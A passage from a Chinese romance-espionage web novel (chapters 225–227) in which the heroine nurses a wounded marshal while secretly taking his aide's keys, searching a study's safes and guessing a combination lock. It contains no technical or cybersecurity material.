萧纵夺命鬼一样又缠了上来，苏姚被他喊得头大，眼见周遭的佣人和巡逻的大兵都看了过来，她莫名觉得丢人，脸上像是着了火一样。 “好好好，我去，你别跟着我了，赶紧去找医生吧。” 她被迫答应，说着往前看了一眼，才发现医生也站在门口正看着他们。 听见她的话，对方还十分识趣地摆摆手，“不着急不着急，我可以等少帅。” 苏姚：“……” 她不想再丢人现眼，拉着萧纵就进了客厅，“你赶紧看看他的伤，为什么一直不好？” 一说起这个，医生的脸色就也难看了起来，额角甚至冒出了细密的汗珠，“我一定尽力。” 他不安地看了眼萧纵，他们都清楚，他不是没尽力，是实在做不到。 “去换衣服吧，我在这里等你。” 萧纵岔开了话题，苏姚也没纠缠，听话的上了楼。 既然答应了萧纵，她也没有故意耽误时间，很快就换好衣服下去了，医生正好将绷带解开。 得益于潮湿的天气，萧纵伤口的血迹没有干涸，倒是免得他再遭罪。 再次看见那个恐怖的伤口，苏姚还是不能习惯，心脏控制不住地跳了一下，她深吸一口气才下去，萧纵却又没让她靠近，“厨房里有冰饮，去喝一点吧，也给我们带一杯。” “好。” 苏姚应了一声，抬脚往厨房去，还不等进门，身后就传来一声压抑又克制的闷哼。 苏姚的脚步不自觉顿住，回头看了一眼，医生正在给萧纵清理腐烂的血肉。 指尖不自觉蜷缩了起来，那种痛苦苏姚也经受过，实在是很清楚其中的滋味。 她又想起了自己的那盒针剂。 虽然她不知道什么样的医生连萧纵都不敢擅动，甚至还要拿把柄去威胁，但这样的医生必定很厉害，应该真的能治他的伤。 现在的他，有没有后悔过呢？ 第225章 钥匙 她回头看了萧纵一眼，还是进了厨房，等她再出来的时候，伤口已经处理好了，萧纵苍白着脸靠在沙发上，脸上的汗水仿佛是水洗了一样。 看见苏姚出来，他还是扯了下嘴角。 “冰饮好喝吗？” 苏姚将冰饮放在萧纵面前，刻意没去看他的胳膊，“味道不错，要尝尝吗？” 萧纵下意识抬手，可抬到半截又落了回去，“手好像不太方便。” 苏姚斜了他一眼，萧纵看懂了，抿着唇微笑，却没改口。 苏姚叹了口气，忽然觉得有些没意思，算了，看在那盒针剂的份上。 “等着。” 她转身回了厨房，等再回来的时候，手里拿着根吸管。 萧纵脸上的期待瞬间落了下去，低低地叹了口气，可等苏姚将吸管递到他嘴边的时候，他还是带着笑咬住了，只是看着那近在唇边的手指，他心里却止不住动了点邪念，要是…… 指尖传来柔软濡湿的触感，一触即分，苏姚没有在意，收回手将冰饮放在了吸管另一端，“喝吧。” 萧纵嘴角一扯，带着点得逞的狡黠，低头猛吸了一口。 医生满头大汗，看看他又看看苏姚，最后还是对着苏姚开了口：“苏小姐，少帅需要清淡饮食，很多忌口的东西，劳烦您多费心。” 苏姚微微蹙眉，萧纵忌口为什么要告诉她？ 她动了下嘴唇，却不等开口就被萧纵打断了，“我难道不知道什么该吃什么不该吃吗？下去吧。” 医生讪笑着走了，萧纵又嘬了一口冰饮，等咽下去才开口，“直到你不爱操心这些，放心吧，不让你费心。” 苏姚心情复杂，萧纵刚才开口，是知道她要拒绝？ 她是不是表现得太明显了？ 她忍不住反思自己，萧纵却晃晃悠悠地站了起来，苏姚连忙扶了他一把。 “我上去休息一会儿，有事就喊我。” 苏姚怕他摔倒，扶着他往楼上去，对方却在二楼停了下来，盯着那门看了几秒后，扭头朝她看过来，语气很认真，“我能去你房间里睡吗？” “不行。” 苏姚下意识开口拒绝，萧纵啧了一声，“我就知道……” 苏姚本来以为他要继续往楼上走的，没想到男人话音落下，竟然靠在了她身上，“不行，我得歇一歇，不然走不动了。” 这摆明了，就是想进苏姚的卧室。 苏姚攥了下拳，很想把他推开，可一想到那针剂，手上的动作就顿住了，她叹了口气，“十分钟，十分钟之后你就给我上去。” 萧纵连忙答应，“就十分钟，我很守时的。” 苏姚给了他一个“你看我信不信”的眼神，抬手推开了房门，萧纵十分识趣地靠在了沙发上，苏姚进卫生间拧了个毛巾出来，想给他擦擦脸上的汗水，没想到就这一小会的功夫，人就睡着了。 苏姚给他擦汗的时候，他都没动一下。 也的确是该累了。 苏姚的目光落在他胳膊上，哪怕已经包扎好了，又遮在衣服里，她也仍旧像是又看见了那个血窟窿，心头也跟着一沉。 她缓缓吐了口气，轻手轻脚地退了出去，却在关上门的瞬间意识到，这是个极好的机会，她可以拿着萧纵做借口，去找萧翼谈一谈，然后拿到他手里的钥匙。 打定主意的瞬间，她就抬脚下了楼，刚好和萧茵沈知心遇见，萧茵立刻扑上来抱住了她，“苏姚，我想留沈姐姐吃晚饭，可以吗？” 苏姚有些不习惯她的热情，稍微往后退了一步，“只要知心答应就可以，不需要问我。” 虽然看出了她的疏离，但是萧茵仍旧满脸热情，“那我就当你答应了，沈姐姐，去我房间里玩吧，我有好多好东西给你看。” 沈知心看了苏姚一眼，见她点头，才跟着萧茵上了楼。 苏姚没再耽误时间，抬脚去了副楼。 房门被敲开的时候，萧翼正在锻炼，赤裸着上半身，汗水正沿着胸膛滑下来。 一看见苏姚，他脸一红，手忙脚乱地往身上套了件褂子。 “苏小姐，你怎么来了？” 苏姚借着侧头的档口，速度极快地扫过了萧翼的房间，一眼就看见了放在桌子上的钥匙。 她不动声色地收回目光，还抬手挡了挡眼睛，“我是想来问问少帅的伤，怎么越来越厉害了，瞧着不太对劲。” 说起这个，萧翼也叹了口气，“就是呢，偏偏就少帅自己这样，军医一直在研究，但也没进展。” 他显然很愁苦，满脸都写着担忧。 “和我具体讲讲吧。” 苏姚看向萧翼，“我能进去吗？” “当然。” 萧翼连忙让开路，他的房间十分整洁干净，但他看起来还是有些不自在，将本就平整的床单又铺了铺，苏姚却没坐，径直走到了窗前。 “其实那场仗没什么稀奇的，都是进攻，清剿，” 萧翼回忆着当时的情形，絮絮叨叨说起来，“非要说哪里特别的话，就是那只部队里有不少穿着白大褂的人，当时少帅冲在最前头，就被打了一枪。” 苏姚眼神有些奇怪，他们当时跟在大部队后面捡漏打游击，也清剿过这么一只队伍。 原来那个时候起，在他们前面打头阵的队伍，就是萧纵的啊。 苏姚心情复杂，怪不得组织想要争取萧纵，他的确是尽心尽力地在抗敌，就是可惜了，立场到底是不一样的。 她一边叹息，一边扒着窗户往外头看了一眼，随即惊呼一声，“我的耳环好像掉下去了。” 她说着，将自己空荡荡的耳朵给萧翼看。 萧翼连忙凑过来，从窗户里探出头去，“掉在下面了吗？” “我不太确定，也可能在别的地方，我下去看看。” 她说着要下去，萧翼拦住她，“我去吧，外面还在下雨呢。” 他说着就下了楼，苏姚眼看着他消失在门外，连忙将钥匙拿了起来，眉头却紧皱了起来，这么多，哪个是啊？ 她没多犹豫，全拿回去试试就知道了。 可刚走到副楼门口，就迎面遇见了回来的萧翼。 第226章 醋味好冲 苏姚心里一突，“你不找了？” 萧翼无奈：“怎么会呢？这不是天黑了吗，看不太清楚，我回去拿个手电筒。” “你是帮我找东西，手电筒应该我去拿。” 苏姚心下一松，转身就往楼上跑，萧翼在身后喊了句什么，她充耳不闻，只闷着头上了楼，等将萧翼彻底甩在身后，她才扶了下胸口。 吓死她了，还以为萧翼想起了那串钥匙。 她快速找到手电筒，转身出了门。 萧翼已经追了上来，“苏小姐，我自己拿就行……” 苏姚连忙将手电筒塞进他怀里，“萧副官，真是多亏你了，不然这阴雨天，我都不知道去哪里找我的坠子。” 萧翼脸色瞬间涨红，结结巴巴道，“别，别客气，我这就去找，我一定给你找到。” 他转身下了楼，速度极快，几乎是一眨眼的功夫就不见了影子。 苏姚看着他的背影愣了一下，她刚才好像没催吧？ 但她也不敢追上去问，毕竟钥匙还在自己的衣袋里。 她也跟着下了楼，远远就看见萧翼弯着腰，正开着手电筒在茂盛的草丛里翻找。 苏姚捏紧了自己的坠子，远远地喊了一声，“我回主楼看看，说不定掉在那边了。” “好。” 萧翼应了一声，“你带伞了吗？我看这雨越来越大了。” 苏姚敷衍了一句，大步回了主楼。 萧纵还在睡，佣人们也各自忙着自己的事，并没有注意楼上，苏姚悄然上了三楼，挨个去试钥匙，等确定了之后，她悄然开了门，却没敢进去，只在门缝里夹了颗石子，又给钥匙印了模子，随即抬脚往楼下去。 她得抓紧把钥匙还回去。 她放轻脚步走到了二楼，刚要松一口气，身后就咯吱一声响，她心头一跳，克制着转身看过去，就见萧纵扶着门站着，“你怎么出来了？” 苏姚压制着乱跳的心，轻咳了一声，“你那伤老不好，我就去找萧副官问了问，哪想到把坠子弄丢了。” 萧纵眼神奇怪起来，“你去找萧翼了？他很高兴吧？” 这话问得莫名其妙，她又没给萧翼什么好处，他有什么好高兴的？ 但苏姚没追究，她得抓紧时间回去，不然被萧翼发现钥匙不见了，那就糟糕了。 “刚才麻烦萧副官给我找坠子，结果在主楼发现了，我得去告诉他一声。” 她推开萧纵要往外走，萧纵却跟了上来，“我刚好有事找他，告诉他一声就行了，你就别跑一趟了。” 苏姚一僵，她如果不去，这钥匙要怎么还回去？ 外头的雨声大了些，却压不住苏姚的心跳，眼看着萧纵就要出门，她一把将人拉住，“你就不能消停会儿吗？伤口一直不好，你还想去淋雨啊，万一发炎了怎么办？” 萧纵脚步一顿，扭头朝她看过来，眼神很奇异。 这眼神之前在陈园的时候，她看见过，但她当时没明白，现在也一样。 不喜欢自己这种态度？ 也对，萧纵一向要求她柔软温顺的。 她掐了掐指尖，为了把钥匙还回去，装模作样一下也可以。 她深吸一口气，摆出了一个笑脸，刚要开口，萧纵忽然笑开，他转身走过来，高大的身影几乎将头顶的灯光都遮住了。 苏姚眼前一暗，被迫往后退了几步，她抬手抵住男人的胸膛：“干什么？” “担心我啊？” 萧纵低下头，慢慢和苏姚平视，“你刚才，是不是在担心我？” 苏姚一时哑然，还有些心虚，她只是不想让萧纵坏她的事而已，没想到会被萧纵这么误会。 可眼下她也不能否认。 她一抬手就捂住了萧纵的脸，将他推开，“我去找萧翼。” 她抬脚匆匆出了门，身后传来男人压低的笑声，衬得她活像是落荒而逃的胆小鬼一样。 等她跑远了一些，四下无人注意，她脸上的情绪才迅速退了下去。 萧纵竟然吃这一套了？ 她有些惊异，以前他明明……人果然是会变的。 她没再浪费时间，快步进了副楼，等将钥匙放回原位，她才下楼去找萧翼，对方还在草丛里不停翻找，时不时会传出两声巴掌响，大约是在打蚊子。 “萧副官。” 苏姚连忙喊他，萧翼这才站起来，动作间一巴掌拍在自己脸上，掌心里瞬间多了一只被拍扁的蚊子，“苏小姐，这里蚊虫多，我很快就找到了，你再等我一会儿。” 苏姚有些过意不去，连忙解释，“对不住了，我的坠子刚才掉在主楼了，我已经找到了，你快出来吧。” 萧翼这才走出来，到了跟前，苏姚才瞧见他脸上被咬了好几个包，瞧着十分可怜。 “少帅找你，你快进去吧，我去找医生给你拿点药。” 一听萧纵找他，萧翼不敢耽搁，连忙往主楼去，“少帅，您找我？” 萧纵应了一声，他显然还没恢复精神，正靠在沙发上揉额头，“盯着点……” 他话音一顿，盯着萧翼的脸看了两眼，下巴微微一抬，“怎么咬成这样？” 萧翼尴尬地挠挠头，“属下刚才帮苏小姐找坠子来着，楼下蚊虫多。” “蠢死你算了。” 他啧了一声，正要说什么，苏姚就拿着药进来了，“这些是消肿止痒的药，我给你涂一点。” 苏姚拧着药瓶走过来，手里的棉球沾满了药膏，抬手就要往萧翼脸上涂。 萧纵的眼睛控制不住地睁大了，眼看着那棉球真的要落在萧翼脸上，而对方半分要躲开的意思都没有，他腾的站了起来，一把抓过棉球，“蚊子咬俩包，还用上药？” 他将棉球摁在萧翼额头的包上，咬牙切齿道，“怪不得你让蚊子咬，故意的是吧？” 萧翼被他摁得一趔趄，疼倒是不疼，只是龇牙咧嘴的不敢说话，心里还有点好笑。 他还记得当时心思被拆穿的时候，萧纵那股云淡风轻，胸有成竹的样子，和现在，哪里像是同一个人？ 醋味太冲了。 “别闹了。” 苏姚拉住萧纵的手，“别把伤口挣开了。” 既然萧纵吃这一套，她不妨多试试。 萧纵果然听话，松开了摁着萧翼的手，将棉球扔给了他，“赶紧涂点药，丑死了。” 萧翼无可奈何地一笑，拿起棉球自己擦了擦脸上的包，“属下哪比得上少帅玉树临风，您要吩咐属下干什么？” 第227章 密码 萧纵凉凉地看他一眼，这才说起正事，“你不觉得老宅太安静了吗？” 萧翼精神一凛，“您是觉得，他们还会出幺蛾子？” “只是老宅还好说，就怕上头也胡闹。” 苏姚忍不住侧头，萧纵这话什么意思？ 上头？ 总统那边，难道要做出什么举动吗？ 她有心偷听，却不敢明目张胆地留下，只能先上楼，然后贴在了门上，可惜距离太远，根本听不到两人说了什么，她看了眼柜子上的药箱，拿了几样药下了楼。 “……别让他们搭上线，别的不说，太丢人了。” 萧翼答应下来，“放心，属下不会给他们这个时间的。” 他转身出了门，苏姚眉心微蹙，他们？ 萧纵口中的他们，是指谁呢？ “沈知心喜欢什么？” 萧纵的声音忽然响起来，苏姚眸光一转，就发现他正看着自己，“虽然小，也别怠慢了，免得回头沈知聿编排我。” 苏姚有些无语，她和沈知聿相处这么久，也没见过对方说萧纵什么坏话，倒是萧纵，时不时就要阴阳怪气几句，现在竟然还来告状。 她似笑非笑地看着萧纵，也不说话。 最后萧纵自己觉得尴尬，抬手捂住了头，“不行，我还是有些晕，我得再睡一觉……你替我招待沈知心吧。” 他说着话上了楼，径直进了苏姚的房间。 等苏姚反应过来的时候，他已经躺在了她的床上。 “刚才说好的，回你自己的房间去！” 她咬牙开口，萧纵仿佛睡着了，呼吸绵长均匀，毫无反应。 苏姚走过去，抓着他的肩膀晃了晃，对方却死鱼一样，动都不动，任由她折腾。 苏姚又好气又好笑，没辙一般叹了口气，“吃了饭再睡。” 萧纵这才将眼睛睁开了一条缝，悄悄地打量着她。 苏姚只当没看见，下楼招呼沈知心去了，其实萧纵不去三楼，对她而言是更有利的，兴许是老天都在帮她。 回到房间的时候，萧纵已经又睡了过去，和刚才装睡的时候不一样，他呼吸有些粗重，仿佛身体很不舒服一样。 苏姚悄悄打开抽屉，里面放着安神香。 如同萧纵所说，她房间里的东西，的确都维持着原样，连安神香也在。 她点了一根，特意放在了离萧纵不远的位置，眼看着对方的姿态越发松弛舒缓，她这才脱了鞋，光着脚，悄悄出了门。 院子里的灯透过窗户照进来，一片光影斑驳。 苏姚猫着腰，借着栏杆的遮掩慢慢上了三楼，书房的门还被石子卡着，看似关上了，却还留了一条小缝，轻轻一推就打开了。 苏姚锁上门，摸着黑将厚重的窗帘拉上，这才开了灯，仔细观察周围。 看着没什么稀奇的，厚重的书桌，成排的书架，以及会客区的沙发，唯一的点缀就是留声机。 苏姚四处扫了一眼，书房的机关并不高级，就是利用书架的遮掩，藏了几个保险柜，比起房门的锁，保险柜反而更好开一些，苏姚尝试了几次就打开了一扇，是萧纵军队的布防图。 她来不及全记下来，也不好拍照，只能隐约记下几个重要的位置，如果有机会，希望能传递出去。 但这次来，她的目的还是要找到密码，她有种预感，萧纵卧室里的那间密室里，一定有自己想要的东西。 她将保险柜恢复原样，将自己遗留的痕迹全都擦干净，随即将目光落在留声机上，满书房里都没有数字痕迹，那密码会不会和这个留声机有关？ 她小心翼翼地将唱片取下来，仔细观察了一遍又一遍，并没有发现什么线索，只好又重新放回留声机上，她捂住了喇叭，轻轻将探针放了上去。 “想当年两狼关一场血战……” 婉转悲怆的唱腔传出来，听得苏姚一愣，连忙关了留声机。 虽然因为喇叭被堵着，听起来有些沉闷模糊，可她仍旧听出来了，这是她的戏。 萧纵竟然在听她的戏。 这发现有些荒谬，苏姚一瞬间竟然不知道该作何反应，回过神来后她才无可奈何地叹了口气，也就是说这唱片上并没有什么线索。 她这趟，算是白来了。 她不死心地又将书房检查了一遍，的确没能找到什么线索。 那密室的密码到底是什么？ 只能瞎猜了吗？ 她咬了咬牙，将书房恢复原样后，悄悄进了萧纵的房间，盯着那密码看了又看，慢慢转到了萧纵的生日。 不对。 萧茵的生日？ 还是不对。 难道是萧太太的？ 仍旧不对。 苏姚又急又气，额头都是汗，萧纵重视的人就是这么几个，如果都不是，那密码还能是什么？他总不能胡乱编一串数字吧？ 她咬牙切齿地盯着面前的密码锁，恨不能直接将锁看穿。 天色慢慢亮了，她无可奈何地叹了口气，算了，下次再找机会来试试别的吧。 她将机关恢复，转身往外走，却莫名想起了那个唱片。 心头冒出来一道古怪的声音，这密码，会不会和你有关系啊？ 念头只在脑海里停留了一瞬，苏姚就险些被气笑了，她稀里糊涂地过了那么多年，如今好不容易清醒一些，竟然又开始犯蠢了。 “萧纵说几句好听的，你还当真了啊。” 她骂了自己一句，对自己很是恼火，加快脚步往门口去，可手都搭在了门把手上，她的脚步却又顿住了。 万一呢？ 试试又不亏。 苏姚僵在原地，犹豫了很久，还是咬着牙再次打开机关，将密码锁露了出来。 只是要转最后一个数字的时候，她的手却又顿住了。 万一，这个数字真的和她有关系，那她以后要怎么面对萧纵啊？ 只是想想，她就觉得头皮发麻。 但思绪很快就被压了下去，不管怎么说，找到唐黎才是最重要的。 她定了定神，还是慢慢将最后一个数字转了出来。